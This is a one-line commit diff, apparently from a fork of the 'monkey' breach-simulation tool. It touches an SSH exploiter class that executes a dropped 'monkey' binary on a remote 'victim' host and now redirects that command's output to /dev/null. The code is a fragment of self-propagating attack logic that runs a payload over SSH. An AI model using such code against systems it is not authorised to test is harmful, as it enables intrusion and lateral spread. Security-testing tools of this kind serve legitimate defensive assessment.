forked from p15670423/monkey
SSH tunneling fix
This commit is contained in:
parent
a873525cc0
commit
2c2af5451d
|
@ -180,7 +180,7 @@ class SSHExploiter(HostExploiter):
|
|||
try:
|
||||
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
cmdline += "&"
|
||||
cmdline += " > /dev/null 2>&1"
|
||||
ssh.exec_command(cmdline)
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
|
|
Loading…
Reference in New Issue